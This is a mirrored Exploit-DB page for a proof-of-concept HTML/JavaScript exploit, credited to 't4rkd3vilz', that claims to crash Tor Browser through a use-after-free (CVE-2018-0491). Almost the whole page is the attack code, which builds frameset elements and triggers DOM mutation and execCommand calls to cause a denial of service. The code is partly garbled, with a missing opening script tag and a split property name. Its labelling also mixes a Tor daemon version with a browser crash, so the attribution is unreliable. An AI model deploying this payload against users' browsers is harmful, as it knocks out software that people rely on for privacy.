Tor Browser < 0.3.2.10 - Use After Free (PoC) - 体验盒子

作者： t4rkd3vilz

日期： 2018-07-09

类别：

dos

平台：

linux

来源：https://www.exploit-db.com/exploits/44994/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

# Exploit Title: Tor Browser - Use After Free (PoC)

# Date: 09.07.2018

# Exploit Author: t4rkd3vilz

# Vendor Homepage: https://www.torproject.org/

# Software Link: https://www.torproject.org/download/download-easy.html.en

# Version: Tor 0.3.2.x before 0.3.2.10

# Tested on: Kali Linux

# CVE : CVE-2018-0491

#Run exploit, result DOS

<!DOCTYPE html>

<html>

<title>veryhandsome jameel naboo</title>

<body>

function send()

{

try { document.body.contentEditable = 'true'; } catch(e){}

try { var e0 = document.createElement("frameset"); } catch(e){}

try { document.body.appendChild(e0); } catch(e){}

try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){}

try {

e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo

rder']='-4400000000';}, false); e0.focus();} catch(e){}

try { e0.setAttribute('iframe'); } catch(e){}

try { document.body.insertBefore(e0); } catch(e){}

}

send();</script></html>